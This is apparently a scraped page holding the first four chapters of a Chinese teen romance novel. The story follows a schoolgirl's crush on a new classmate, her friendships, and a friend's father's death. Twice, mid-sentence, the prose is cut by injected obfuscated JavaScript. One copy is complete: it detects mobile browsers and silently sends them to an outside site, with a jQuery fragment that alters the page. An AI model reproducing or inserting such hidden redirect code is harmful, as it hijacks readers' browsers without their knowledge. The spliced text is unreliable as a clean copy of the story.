《错光年》 1. “同学,你裤子脏了。” 建峰镇的八月,骄阳似火,炎热的让人不由自主地眯起眼睛。 我坐在操场边的梧桐树下,头顶那轮白得发青的太阳烤得人发昏。 开学第一周的周五,熬完下午最后一节课,整个人像被抽干了力气。 “同学,小心!” 一个声音砸过来。 没等我回头,破空声就到了耳边。 我猛地一缩脖子,肩膀一麻,篮球擦着我的肩膀砸在了地上,闷闷地弹跳着。 “同学,你没事吧?” 我抬头,看见一个穿着黑背心的高个男生杵在跟前,手里团着件校服外套,脸上写满歉意。 他长得很好看,像棵抽条的白杨,肩宽腿长,是那种扔进人堆里一眼就能揪出来的好看。 我没见过他,不知道是不是高一级的学长。 “没事。”我摇摇头站起身,拍了拍衣服准备离开。 刚走出两步,又听见他在后面喊:“诶!同学!” 脚步钉在原地,我转回头,喉咙有点发干。 他要做什么? 那时候的我看过很多青春偶像剧,第一反应就是,他是不是对我一见钟情了? 我心跳突然加快。严莉莉总说夏天是容易恋爱的季节。我信了。 虽然理智告诉我高中不该谈恋爱,但目光却不由自主地停留在他身上。 甚至想如果他向我表白了,我该怎么办? 可惜,事实证明我想多了。 他看着我,指了指我的裤子:“同学,你裤子脏了。”接着,他将手里的校服外套递给我。 我转头一看,才发现是我来例假了。鲜红的血迹染红了我的白色裤子,而我自己却浑然不知。 脑子嗡地一声,血全冲上了脸。 我伸手接过他的外套,喉咙里挤出蚊子似的“谢谢”,转身就跑,耳边全是自己咚咚的心跳声,后背跟火烧一样。只觉得真的太丢人了! 这就是我和沈晋川的第一次见面。 后来每次想起这天,我都能瞬间从脖子红到耳根。沈晋川说我当时慌的像一只被人踩了尾巴的小猫。 我逼问他:“你是不是那时候就喜欢我了?是不是第一眼就心动了?” 他不认,我就拧他胳膊,非要他认。 我偏执得很,非要他承认是他先动心的。 他被我磨得没办法,才嗤笑一声,认了:“是是是,第一眼看见你,就栽了,就知道你这辈子肯定是我媳妇。” 我一路小跑,直到听见潘露和林苏冉叫我的名字,我才停下来。 “方梨,你跑什么啊?”潘露喘息着问我。 “不是说在梧桐树下等我们吗?”苏冉也插着腰。 不等我说话,苏冉又问:“你腰上系件衣服干嘛?” 我的脸瞬间烧了起来,挽着她们两个的胳膊,左右看了看,声音压得极低:“我来例假了。” “啊?真的啊?” 她们两个几乎同时发出惊叹,然后瞪圆了眼睛看我,好像听到了什么惊天大新闻。 潘露拍拍我的肩膀:“你终于来例假了。” 苏冉用胳膊肘撞我:“这么大的事情,我们不得叫上莉莉庆祝一下?” 庆祝什么呢?当然是庆祝我终于来例假了。 我是四个人里最晚熟的。十六岁还没来例假这事,被严莉莉笑话了好久。 她总说:“方梨,你该不会是性别生错了吧?想我们这个年纪的,基本上都来了。” 她们一左一右架着我的胳膊,几乎是拖着我往向花街走。 向花街是建峰镇的心脏,也是我们的牢笼。 从记事起,我们四个就像长在彼此身上的藤蔓,缠得死紧,大学前就没分开过。 我们有个共同的梦想,那就是离开向花街,那里太小了,小到谁家夫妻吵架,第二天连巷口的流浪狗都知道细节。 回到家换好衣服,我们直奔严莉莉家,她家在街东头,一间旧平房,院子里那棵桂花树香得能飘出二里地。 我家在街正中,苏冉家就在我家斜对面。 潘露住在向花街最高的那栋楼里,那是一个八层高的大楼,旁边有高高的围栏,门口有个保安室,一般人进去都要询问登记,可气派了。 严莉莉总说,等她以后有钱了,就买最顶上那层!站的高高的,俯视整条向花街。 严莉莉蹲在院子里洗菜,见我们进来,她甩了甩手上的水,在裤子上蹭了两下:“哟,姐妹们来啦,快请进,让我好好招待你们。” 她总是这样说话,言语间透露着成熟,像极了她妈妈。 我撞了一下她的肩膀:“哟,你要怎么招待姐妹们呀?” 她笑着掐我的腰,色眯眯的看着我:“今晚都别回去了,让姐姐好好疼爱疼爱你们。” 我们三个哈哈大笑,潘露说:“严莉莉,你就像是电视里演的妈妈桑,专门带坏我们纯情少女。” “瞎说!”严莉莉朝潘露做了个鬼脸,“妈妈桑哪有我风情万种、妩媚动人、成熟诱人,姐姐是纯情美少女好不好。” 她说这句话的时候,才十七岁。 我说:“严莉莉,你真是个流氓,大大的女流氓。” 她将外套脱掉,穿着宽松的体恤,掐着腰学着电视里的模特走路,迈着性感的猫步,扭着屁股,摆了个妖娆无比的姿势,冲我们抛了个媚眼:“请叫我性感女流氓。” 惹的我们三个哈哈大笑。 苏冉总说严莉莉:“你爸的优点你是一点也没遗传上,倒是特别像你妈。” 每次说听到这话,严莉莉都会立刻炸毛:“我才不像我妈呢!”她咬着牙,“我最讨厌那种女人!” 有时她会偷摸跟我们说:“我也不想成为我爸那样的人。”她眼神又冷又硬,“窝囊!我妈跟男人出去鬼混,他屁都不敢放一个,第二天还照样巴巴给我妈做饭。一个人经营早餐店累的不行,赚的钱还都给她,我妈呢?回来就哼着小曲吃现成的,眼皮都不抬一下。” 她冷笑一声:“你瞧,你以为你当牛做马就能换来真心?做梦!你把自己榨干了,在她眼里也就是个贱骨头,没人逼你,所有的一切,都是你自己犯贱,非要往上贴。” 后来我才明白,在感情里,确实是这么一个道理。 严莉莉的爸爸为人老实憨厚,开了一家不大的早餐店。她妈妈是保姆,在离建峰镇不远的惠中市上给那些有钱的人打扫房子。 我们很少看到她妈妈,每次看到她,她身边总是站着陌生的男人。 有好几次,我们都看到有男人搂着严莉莉的妈妈往向花街西面的“昔日阳光”去了。 向花街的人都知道,那里明面上是个茶楼,里面其实是个小旅馆。 严莉莉每次从哪路过,校服领子总是竖得高高的,好像这样就能堵住那些窃窃私语,她把嘴唇咬得发白:“我这辈子,死也不会活成我妈那样的女人。” 她常说自己命不好,如果能生到潘露那样的家庭该多好。 有时候她也感慨,如果生在我和苏冉这样的普通家庭也不错。 潘露的爸爸是中学校长,妈妈是舞蹈老师,她从小就跟着她妈妈学舞蹈,弹钢琴,是我们三个都羡慕的对象。 苏冉的爸爸和妈妈都是普通的农民,她父母包地种,供她和她弟弟上学。 我的爸爸是位出租车司机,妈妈是家庭主妇,父亲拿着微薄的工资,养活着我和妈妈,虽然不算富裕,但我们一家三口却很幸福。 严莉莉在知道我来例假后,一巴掌拍在我屁股上:“小屁孩,都来例假了,怎么还不发育呢?”她挺着胸脯撞我肩膀,“你看看我们三个,该鼓的地方一个没少,你怎么就……唉,真是愁死我们姐妹几个了。” 我低头盯着自己平坦的胸口,用力挺了挺:“会长的。” 苏冉耳根红了:“严莉莉,你能思想阳光点吗?怎么满脑子都是那种事呀,羞不羞啊!” 严莉莉眯着眼围着我转圈,慢悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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严莉莉遗传了她妈妈狐狸似的眼睛,眼尾微微上挑,看人时总带着三分不经意的魅,跟她妈妈就像是一个模子刻出来的。 我则是我们四个中长得最普通的一个,皮肤有点黑,眼睛不算大,五官端正,干扁扁的,很干净,是典型的邻居家乖巧妹。 严莉莉坏笑着问我们:“开学一周了,你们没有遇到喜欢的男生吗?” 我差点被水呛到:“你怎么张口闭口都是这些?你脑子里除了这个还能装点别的吗?” 苏冉撇撇嘴:“高中多重要,现在谈恋爱?疯了吧。” “切!”严莉莉拖长音调,一脚踩在地上的菜叶子上,“你们这些书呆子,青春时不谈一场轰轰烈烈的恋爱,等老了回忆青春,连个心跳加速的瞬间都没有,必定抱憾终身。” 她总是有她的歪理邪说。 我们三个不约而同翻了个白眼,她也不在意,自顾自地说着那些不着边际的话。 突然画风一转,她眨着眼凑过来,“姐妹们,你们以后想嫁给什么样的男人啊?” 潘露噗嗤一笑:“你才多大,张口闭口不是男人就是结婚,不害臊啊?” 严莉莉满不在乎地甩甩头发:“这有什么好害臊的?再过一年,我就十八了。”她凑近了我们,“说说嘛,你们都喜欢什么样的男人?” 她眼睛亮亮的,手指卷着自己的头发,“我喜欢那种痞帅霸道的,说话风趣的,皮肤要健康的小麦色,白面书生我可看不上。” 苏冉低头,声音轻轻的:“温柔体贴,对我好,能帮我解决困难的男生吧。” 潘露微微抬起下巴,语气淡淡的,却透着一股自信:“能配得上我的男生。” 她们三个齐刷刷地望向我,说实话,当时的我压根没考虑过自己喜欢什么样的男生,一下子被问住了。 我咬着嘴唇想了半天,才掰着手指数起来:“要长得帅,成绩好,人品端正,专一不花心,不看别的女生一眼,事事以我为先,还得能带着我一起进步的……”我又想了想,“先这么多吧。” 她们三个面面相觑,突然异口同声:“你搁着许愿呢?” 我们笑作一团,严莉莉锤着我的肩膀直喊救命,潘露和苏冉笑出了眼泪。 夕阳的余晖透过窗户斜斜地洒进来,落在了我们身上。 2. 十六岁正是藏不住事的年纪。 得知我来例假弄脏了裤子,被一个男生递给我外套解救后,严莉莉说:“小屁孩,你完了,你要坠入爱河了。” “别瞎说!”我反驳。 苏冉插嘴问:“你知道校服是谁的吗?” “可能是高二的学长吧。”我说,“当时太尴尬了,忘记问名字了。” 严莉莉兴奋地拍着我的肩膀:“缘分啊!学校就这么大,你们肯定会再遇到的。”她眨眨眼,“说不定这就是一见钟情的开始呢。” “少看点言情小说吧!”我嘴上嫌弃着,心里却忍不住去想那个陌生的男生。却没想到,真让严莉莉给说对了。 周一总是让人懒洋洋的,连窗外的阳光都没办法把它赶走。 我趴在桌上昏昏欲睡,苏冉捅捅我胳膊:“方梨,有个新同学要转来咱们班,听说是个学霸。” 话音刚落,老师就领着一个穿着黑色体恤,蓝校裤的男生走了进来。 他个子拔尖,比班上大多数男生都高出一截,留着寸头,眉毛浓,鼻梁挺,嘴角像天生带了点微翘的弧度,整个人透着一股冷冽劲。 老师让他自我介绍,他朝全班点点头,然后规规矩矩鞠了个躬:“大家好,我叫沈晋川,请多关照。” 看清那张脸的瞬间,我倒抽了一口冷气。 世界小得硌人。 他就是梧桐树下,借我衣服挡尴尬的男生,我以为是大一届的学长,结果竟然是新同学? 那一刻,我只想原地刨个坑钻进去。 偏偏老师手指一点:“沈晋川,坐方梨旁边。” 我忙低下头,想拿板砖拍晕自己。 沈晋川走过来,目光落在我脸上:“你好,同学,我叫沈晋川,请多关照。” 我眼皮都没敢抬全:“嗯。”声音闷在喉咙里。 沈晋川盯着我看,那目光像有重量,压得我浑身不自在。 他肯定认出我来了,这也太尴尬了。 我猛地抬头,想说点什么,却又不知道该说什么才合适,只能挤出一个笑:“你的衣服洗好了,明天带给你。” 本来还发愁怎么在学校找到他,道个谢,结果人直接砸到眼前了。 “好,谢谢。”沈晋川笑了笑。 他借我衣服,没有让我出丑,却对我说谢谢。 十六岁情窦初开,心像刚破土的嫩芽,一点微风就能让它颤。心动,真的只需要一个瞬间。 我第一次看到这么好看的男生,五官像精心雕琢过,不笑时冷峻,一笑起来,那双桃花眼像要把人吸进去。 太危险了。这种男生,天生是迷惑女生的陷阱。 沈晋川坐下,我的余光忍不住往他身上溜。 他像是察觉了,忽然转头,目光直直撞上我。 我心脏一跳,慌乱地别开脸,手胡乱地翻着书页。 书上的内容一个字都没看进去,脑子里想的都是周五那天第一次见面时的窘迫。 我甚至有点懊恼,我那天为什么非要穿条白裤子。 第二天,我把洗干净的校服外套递给沈晋川:“谢谢你的衣服。” 沈晋川接过去,穿在身上:“薰衣草的味道,很好闻。” 我脸颊有些烫,不知道接什么话,只含糊地“嗯”了一声。 沈晋川像自带融入光环,没几天就跟班上男生混熟了。 学习拔尖,老师总夸他聪明,说普通学生两年学完的东西,他一年就能搞定。 自沈晋川转来后,回回考试,年级第一的宝座都是他。熟了后才知道,他父母都是老师,调到这里后,他才跟着转学的。 那段时间,下课铃一响,走廊就热闹起来。 女生们一趟趟“路过”我们班门口,眼神黏在他身上,窃窃私语像蜜蜂嗡嗡。 沈晋川一下子成了全校的焦点,成绩永远排在首榜,脸又长得犯规,不动心才怪。 总有女生红着脸往沈晋川课桌里塞零食,塞情书,可他每次都只是礼貌地笑笑,温和又疏离地拒绝。但奇怪的是,他越是这样,那些女生反而越疯狂。 我忍不住想,这么多人喜欢他,他就没一个心动的吗? 我甚至偷偷问过潘露:“你们学霸是不是都很难动心啊?”潘露也是年级前几,我想,学霸的想法应该都差不多吧。 她耸耸肩:“当然会心动,只是不会随便心动。” 也对,优秀的人自然不会轻易心动。 我低头转着笔,余光瞥见沈晋川又在草稿纸上写写画画。 作为同桌,我大概是离沈晋川最近的人了吧?可有时候又觉得,他明明就坐在旁边,却像隔着一整片星空那么远。 每次我问沈晋川题,他都会靠过来,笔尖在草稿纸上轻轻点着,声音低低的,耐心得不像话。 要是我解出来了,他就会微微勾起嘴角,鼓励似的说一句:“不错。” 那点鼓励像小火星,每次都能烫红我的耳朵。 人真的好奇怪,喜欢一个人不敢言语,却总用无数遍重复“这题怎么解”来掩饰。 这是我在数学课上突然想到的。 当时沈晋川托着腮,正在转笔,我盯着他看,被他发现时慌得把自动铅笔的笔芯都按断了。 “怎么了?”他转头问我,声音很轻,像怕被老师听见。 我摇摇头,耳朵烫得要命。 青春时期的喜欢,大概就是这样吧,明明心里已经演完了一整部偶像剧,表面上却连和他对视都不敢。 每次看到有女生围着沈晋川时,苏冉都会撇嘴:“咱学校的女生也太疯了吧?跟发现金矿似的。” 潘露点头:“就是,饿狼扑食一样。” 我没吭声。十六岁正是藏不住事的年纪。 就像我一直没告诉过她们三个,借我衣服的男生就是沈晋川。 沈晋川不光学习好,球也打得好。 我喜欢他在篮球场上的样子,像匹黑马,横冲直撞,没人拦得住。 如果你开始只是被沈晋川的外表吸引,那在你和他相处过,看过他打球的样子后,你就会彻底迷上他。 在遇见沈晋川之前,我压根不懂什么叫暗恋。 等我懂了,那种感觉早已密密麻麻长满了心尖。 我开始用余光描摹他。他总在埋头做题,侧脸线条专注又好看。 沈晋川的一举一动,和谁说了话,说了什么,都被我偷偷记在小本子 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有时只是去趟厕所,回来座位就被占了。课桌前挤满人,我只能干站着等,直到上课铃响起,人群才散开。 我不喜欢那些女生总缠着他,问些莫名其妙的问题。 每次看到她们凑过去,我心里就莫名窝火。 有次自习课,我忍不住阴阳怪气地刺了他一句:“不愧是学霸啊,才转来没多久,全班同学的学习热情都提高了呢。” 沈晋川正在整理试卷的手顿了顿,侧头看我:“你书拿反了。” 我低头一看,手里的英语课本果然倒着,耳根顿时烧了起来,但嘴上还是不服软:“这样记的快不行吗?反正我又不用别人教。” 沈晋川笑了,他抽走我手里的书,慢条斯理地翻转过来,“那你要不要也来问问题?”他低头凑近,声音极轻,“我单独教你。” 我呼吸一滞,他的话让我耳根发烫,我往后躲,后背抵在后桌上,故作镇定地说:“以前怎么没发现你这么热心肠啊。” “我不是一直都很热心肠吗?”他眼睛盯着我,“你不会的,我不是都会教吗?” 我别开脸不看他。 那能一样吗,我们是同桌,他总不能不理我吧。 窗外的鸟叫得人心烦。他给别人讲题的样子在脑海里挥不去,微微低头的样子,握笔的姿势,还有那些女生恍然大悟时亮晶晶的眼睛。 突然觉得胸口堵得慌。明明是很正常的事,明明他给我讲题时也是这样的表情。 可为什么……为什么看到他对别人这样,就像喝了没摇匀的柠檬汽水,酸涩的气泡一个劲的往上冒。 橡皮在桌面上滚了半圈,我盯着他摊开的课本,突然意识到自己的不对劲。 我在生什么气啊?他本来就是个热心的人,本来就会给所有人讲题啊,总不能别人问他时他冷漠地拒绝吧! 可心里还是闷闷的,就像自己珍藏的漫画书,被全班同学争相传阅。每次看到别的女生围在他身边问问题,都像是又有人翻开了我最心爱的那一页。 3. 大白兔奶糖 我盯着课本发呆,突然听到椅子挪动的声音,沈晋川往我这边挪了挪,校服袖子蹭过我的胳膊。 “哪题不会?我给你讲。”他从口袋里拿出一颗大白兔奶糖放在我的课本上。 我愣住了,这不是我早上给他的吗?他没吃吗? “昨天的忘吃了,早上吃的是昨天的。”他低头翻练习册,耳尖有点红,“这颗给你。”他轻轻敲了敲奶糖,“等讲完题再吃。” 我盯着那颗糖,包装纸上还留着一个我用圆珠笔画的非常不起眼的小爱心,心脏突然扑通扑通跳得厉害,我想赶紧把脸埋进课本里。 我拿过数学卷子,随便指了道题,“这、这道不会……” 沈晋川凑过来看题的时候,我闻到了他洗发水的香味,是淡淡的茉莉花香。 我死死盯着卷子,余光却忍不住偷瞄他的侧脸,睫毛在阳光下显得特别长,鼻梁上还有一颗很淡的小痣,不仔细看,是发现不了的。 “这道其实很简单……”沈晋川的声音在耳边响起,和平时一样。 我的注意力又从他的侧脸上转移到那颗奶糖上,他为什么没吃?是没舍得吃吗? 教室后排突然传来椅子挪动的声音,我吓得一颤,手不小心碰到了奶糖,发出很轻的声响,我们本就低着的头挨得更近了,他的头发擦过我的额头,痒痒的,在草稿纸上沙沙写字的笔尖也跟着顿了一下。 “认真听题。”沈晋川突然用笔杆轻轻敲了下草稿纸,我看见他嘴角翘了一下。 窗外有风吹进来,可我仍感觉脸上烫烫的。 讲题的声音突然停了。我疑惑地抬头,正好撞进他含笑的眼里。 “会了吗?”沈晋川问。 我低头才发现自己在草稿纸上画满了乱七八糟的线条。 脸又腾地烧了起来,我支支吾吾地说:“嗯……会、会的……” 沈晋川忽然把自己的笔记转了个方向,推到我面前:“我写的解题步骤。”顿了顿,又补充道,“你先做,不会的我在教你。” 下课铃适时响起。沈晋川慢条斯理地合上笔盖,突然拿起那颗奶糖递给我:“现在可以吃了,不过明天的报酬还是要带的。” 我手忙脚乱地去接,却不小心碰到他的指尖。我俩同时缩回手,奶糖“啪嗒”掉在地上。 “笨手笨脚的。”沈晋川这么说,却弯腰捡了起来放在了我的课本上,然后起身离开了教室。 他给我讲题时好像都靠的很近,别人给他零食他不收,我给他奶糖他就要,有时我发呆他还会用笔轻轻敲我脑袋,那些细小的举动,让我忍不住胡思乱想。 “班里女生都嫉妒死你了。”苏冉突然从后面凑过来,“能和大学霸同桌。” 潘露立刻接话:“不包括我。” 苏冉笑嘻嘻地打量潘露:“你俩都是学霸,一个第一,一个第二,挺配的嘛。” 我在旁边哈哈干笑,心里酸得冒泡,我和沈晋川天天嬉闹,苏冉怎么不说我俩配? 潘露撇嘴:“才不配呢。” 心里那点酸忽然又掺了点甜。如果我和姐妹喜欢同一个人,我肯定放手。 但潘露那嫌弃的眼神,让我悄悄松了口气。 严莉莉听说我们班来了个帅学霸,嚷嚷着说等她回来一定要见见,她在市里一个小计算机学校学技术,学生才十几个。 她说校长跟她妈认识,考出证就好找工作。惠中离建峰不远,但她自从去了惠中后就没回来过。她在扣扣上告诉我们她放寒假会回来的。 知道我和学霸同桌后,严莉莉在群里问我:“和学霸坐一起感觉怎么样?他人好吗?真有那么帅吗?” 听完苏冉的描述,严莉莉说要是真这么帅,她回来一定要见见,听起来像她喜欢的款。 苏冉让她别自恋了,说追学霸的人很多,她那套撩汉大法不好使。严莉莉却说这种学霸说不定就吃她这套。 我赶紧插话:“严莉莉你别乱来。”那时她们还不知道我喜欢沈晋川。 可能是我说话的语气暴露了什么,严莉莉马上说:“不对劲,小屁孩,你该不会喜欢上人家了吧?” 我当然不会承认。 严莉莉拖长声音继续说:“姐妹的男人我不碰。刚才还觉得可能是我的菜,现在想想小屁孩喜欢的,肯定是那种书呆子。我爱的是痞帅幽默型的,对书呆子没兴趣。” 我反驳:“哪是书呆子了?他年纪第一,打球也超厉害的好吗!再说,你刚才还说喜欢呢!我眼光好得很,沈晋川特别优秀。” 说完就后悔了,严莉莉发来了一串坏笑:“啧啧啧,小屁孩春心萌动喽。” 严莉莉说近水楼台先得月,喜欢就赶紧追,现在不下手,等别人抢走了哭都来不及。但我就是不承认我喜欢沈晋川。 我和沈晋川的关系好像也越来越近了,他会在我趴在课桌上睡觉时用书本帮我挡阳光,会在上课铃声响起时用笔轻轻戳我的脸叫我。 有次自习课和沈晋川嬉闹,我半开玩笑的问他:“那么多人给你表白,你就没一个喜欢的吗?” 他把我给他的大白兔奶糖放在嘴里:“没有。” 我又问:“那么多人,一个都没有啊?” 他嚼着奶糖:“写情书的一个都没有。” 我抓住了重点:“意思就是你有喜欢的人了呗?谁啊?我们班的嘛?” 他眉毛轻挑,转着笔:“不告诉你。” “小气!” 我的橡皮滚到了他的课本边,他眼疾手快地捏住,蹭掉上面的铅笔灰,低声说:“橡皮用得这么费?不是教过你了么,还修修改改。” “教过也有出错的时候啊,再说了,橡皮不就是用来改错题的嘛,难不成我买来不用把它供起来?” 我伸手去抢,他胳膊一扬,我倾身去够,校服领口擦过他的肩头,闻到他身上和我一样的薰衣草香。 我发现他不光会打球做题,闹起来也挺幼稚。 但他似乎只和我这么闹,跟别的同学讲题虽然认真但总是一本正经的。这让我又萌生出了一种莫名的想法。 一次考试结束后,座位大挪移。我和苏冉成了同桌。 她兴奋地拉着我胳膊说个不停,我一个字也没听进去,满脑子都是换座位后,我看不到沈晋川了。 我挪到了中间那排,沈晋川在我后侧方,和景初成了同桌。 景初个子小小的,很腼腆。看得出来,和沈晋川同桌她很高兴,因为她一个劲地往嘴里塞零食,她有个习惯,一开心就会吃东西。 潘露坐我前面。苏冉说这是我们仨离得最近的一次,可我一点也高兴不起来。 下课,我总是假装伸懒腰,活动脖子,眼睛偷偷往后瞟。 有一次我发现沈晋川好像也在看我,我的视线碰到他后,他立即收回视线开始翻英语书。 我心跳加速。 都说女生的第六感很准,可第六感到底是什么呢?怎么才算准呢? 我想知道。 还有一次,我和前桌黄波打闹,笑着猛地回头,又看见他在看我,他也在笑,目光撞上,他明显慌了一下,立刻埋头看书。 我总觉得他对我有那么点特别,但又不敢确定。 要是还能继续当同桌就好了,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464328|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样我就能在每天的小细节里,偷偷确认他是不是也喜欢我。 苏冉是第一个发现我秘密的,因为我总是找各种理由回头。 她总是看着沈晋川对我说:“方梨,你回头找东西的频率有点高啊。” 后来想想,想回头就大大方方回啊,为什么要找理由暴露自己呢?真是此地无银三百两。 天知道那时候我是怎么想的。 有次在操场看他打球,结束后,我故意先走,走在他前面。半天没听到身后的动静,以为他没跟来,我突然停住脚步。他走急了,没刹住,撞了上来。 他下意识伸手护住我的后脑勺,先发制人:“停下干嘛?快上课了!”我瞥见他耳朵红了。 那时候的暗恋都闷在罐子里。学校严禁早恋,我却偷偷羡慕那些敢“顶风作案”的。 最出名的是我们班的刘杰和隔壁班的骆海馨。 他们初中就相互暗恋,高中捅破了窗户纸,据说是骆海馨先表的白。 本来藏得好好的,直到有一次骆海馨低血糖在课间休息时晕倒,刘杰疯了一样冲进他们班教室,没想到有同学见她晕倒去叫了老师,然后就被老师逮住了。 全校通报批评,家长也被叫来。 神奇的是,他们没散伙,家长也开明,只说“一起考上大学再说”。 那时候,我有点羡慕他们的勇气,羡慕那种被允许的感情。但我却没那个胆量,也承受不起被发现的后果。 很快,寒假来了。以前放假是解脱,这次却像丢了什么,空落落的。 苏冉挽着我胳膊,小声问:“怎么了?舍不得沈晋川啊?” “才不是!”我嘴硬。 放假那天下午,沈晋川递给我一个厚厚的笔记本:“看你化学吃力,这是我整理的笔记,假期有空可以看看。” 接过本子,心跳加速,像是有什么东西要破茧而出,我仿佛能听见它的声音。 我强装镇定地说了声“谢谢”,转身要走,却被他喊住,他看着我问:“这次没有大白兔奶糖了?” 我怔了一下,大白兔奶糖,在不和他做同桌后,我就没带来学校过了。 “有啊,不过被我吃了,开学给你带。”我能感觉到我的脸颊有点烫。 他笑着说:“好啊。” 我冲他摆摆手转身就走,我不知道他是不是在后面看我,只觉得腿软得不像自己的,步子都迈不利索。 他是专门为我写的笔记吗? 我把笔记本贴在胸口,心里像是揣了只兔子。 想快点回家翻开看看他的字迹。他居然还记得我送他的大白兔奶糖,他肯定也在偷偷留意我。 脚步不自觉地加快,听到苏冉喊我,我才回过神来,才想起说好要一起回家的。 我转过身,发现沈晋川已经走了,心里有点说不清的失落。 “你走那么快干嘛?不是说放学一起回家的吗?”苏冉挽着潘露的胳膊追了上来。 我说:“我本来说去校门口我等你们。”其实我差点忘了。 “走吧。”潘露挽上我的胳膊。 刚出校门,就看见严莉莉冲我们使劲挥手。 她头发剪短了些,染成了黄色,拉得笔直,带着一对夸张的银色素圈耳环,嘴里嚼着口香糖,穿着棕色棉衣,牛仔裤下踩着一双马丁靴,整个人看起来成熟了不少。 “那个帅学霸呢?出来没?”她嗓门贼大,眼睛像探照灯一样扫射着出校的学生。 我们仨臊得不行,连拖带拽地把她架走。她一边挣扎一边喊:“哎!别拉我!还没看着人呢,倒是让我看看到底多帅啊!” 4. 我喜欢的人也喜欢我 回到家,我立马翻开笔记本,里面工工整整记满了重点,还在我常错的题型旁边画了可爱的表情符号。 我正抱着笔记本傻笑,院子里突然传来苏冉和潘露的喊声:“方梨!” 我慌忙合上笔记本塞进抽屉,打开房门出去,苏冉一把挽住我:“莉莉让我们放了东西就去她家,说有天大的事要宣布,也不知道是什么事。” 潘露撇撇嘴:“神神秘秘的,肯定又是什么八卦。” 我们仨一路小跑到严莉莉家,一进她房间就看到桌上摆着一扎果啤和一堆零食。 严莉莉兴奋地把我们拉到床上坐下,给我们每人塞了瓶果啤。 “到底什么事啊?”我打开瓶盖。 “快说快说!”潘露催促道。 严莉莉神秘兮兮地凑过来,眼睛亮晶晶的:“姐妹们,我谈恋爱了!” “啊?”我们三个异口同声地叫出来。 严莉莉双手捧着脸,嘴角止不住地上扬:“他特别帅,完全就是我的菜,穿衣服也超有品,是我们学校最帅的!” 看着她一脸花痴的样子,我忍不住问:“你们学校统共不就十几个学生吗?去掉女生,男生也没几个啊?” “你个小屁孩懂什么!”严莉莉伸手戳了戳我的额头,“爱情来了是挡不住的,人多人少有什么关系?对的那个人站在人群里,一眼就能看见的。” 苏冉八卦道:“你们谁追的谁啊?” 严莉莉撩了下头发,“这还用说?姐姐我天生丽质,当然是他对我一见钟情了。” 严莉莉兴奋地掏出手机,翻出几张照片给我们看:“看!这就是林熙!” 照片里的男生皮肤黝黑,顶着一头刺眼的金发,斜刘海几乎遮住了半只眼睛,身上套着件皱巴巴的皮衣,破洞牛仔裤上还挂着几条铁链子。 那时候我们谁都不知道,她会在半年后跟着这个男生离开惠中。 我和潘露、苏冉面面相觑。 “这也太非主流了吧……”潘露小声嘀咕。 严莉莉却一脸陶醉地摸着手机屏幕:“你们看他的侧脸线条多完美,这个发型多有个性……” “我完全看不出来他帅在哪?”我实话实说。 苏冉皱着眉头:“他头发都遮住眼睛了,不难受吗?” 严莉莉摆摆手:“你们这些没谈过恋爱的小孩懂什么?这叫艺术气质!”她捧着手机,眼睛都快变成心形了,“超酷的好吗!” 那天严莉莉絮絮叨叨说了很多关于林熙的事,无非就是怎么对她好,怎么帅气,怎么追的她。 我们在她家待到很晚,听她叽叽喳喳说个不停。临走时她突然说,过两天要去惠中市了。 “马上过年了,你不在家过年吗?”我问。 “我妈让我过去那边过年。”她轻描淡写地说。 我们都以为她是和爸爸一起去惠中找她妈妈团聚,也就没多问。 直到大年初七那天,突然传来严莉莉爸爸去世的消息。 我听到这个消息时是懵的,爸妈说她爸爸是独自在家时心肌梗塞走的,被邻居发现时已经走了两天了。 我一直以为他和严莉莉一起去惠中过年了。 严莉莉和她妈妈初八回来的,我跟着我妈去她家帮忙时,看见她一个人呆坐在灵堂里,眼神空洞,不知道在想什么。 她以前总跟我们抱怨她爸爸,说他性子太软,做事畏畏缩缩的,可我知道,她爸爸对她特别好。 每次放学路过小卖部,总能看到她爸爸在给她买零食,初二那年冬天,她手上生了冻疮,她爸爸就天天熬中药给她泡手。 现在她坐在灵堂里,眼睛红红的,却一滴眼泪都没掉。遗像旁边叠放着一件旧毛衣,我想起以前她说过最讨厌她爸穿那件旧毛衣,她说那是她妈和她爸结婚时,她妈买的,她爸很珍惜。 苏冉轻轻碰了碰我的手肘:“要不要过去安慰她一下……” 我摇摇头。这个时候说什么都显得多余。 严莉莉倔强地仰着下巴的样子,像极了当初她说“一个男人不对自己好,有点东西就给老婆孩子,我才不稀罕呢”时的神情。 可我知道,她泛红的眼眶,死死咬住的下唇,都在说着同一件事,她很难过,比我们想象的还要难过。 院子里那棵她爸爸去年亲手栽的梨树,光秃秃的枝桠上挂着未化的雪。 严莉莉突然站起身,走到树前摸了摸树干,又很快缩回手,像被烫到似的。这个动作让我鼻子一酸。 我知道,她从来都不是不爱她父亲,只是气他太过软弱,气他明明知道她妈妈不爱他,却还是把全部的爱都给了妈妈和自己。其实她希望父亲能自私一点,多爱自己一些。 她妈妈穿着素白的衣服,进进出出招呼邻居,脸上看不出半点悲伤,甚至还能笑着接电话聊天。 我忽然想起七岁那年外公去世,妈妈哭得不能自已,外婆却一滴眼泪都没掉。 我问妈妈外婆不伤心吗?妈妈说,大人会隐藏情绪,外婆伤心但不表现出来,可此刻看着严莉莉妈妈的样子,我清楚地知道,这不是隐藏,而是真的不在意。 葬礼办得很仓促,结束后,她妈妈立刻回了惠中,严莉莉也跟着走了。 临走前她对我们说:“放假我还会回来的。” 那天下着小雪,我看着她的背影,第一次真切地感受到,原来大人的世界这么残酷。 我忽然想,我以后一定要找个互相喜欢的人。我们要彼此心疼,彼此珍惜,谁也不要像严莉莉爸爸那样,爱得那么孤单。 正月十五过后,潘露从外婆家回来了,听说了严莉莉家的事,她也难过了好久。她说,严莉莉家没人了,以后那个小小的房子怕是不会再有人回来住了。 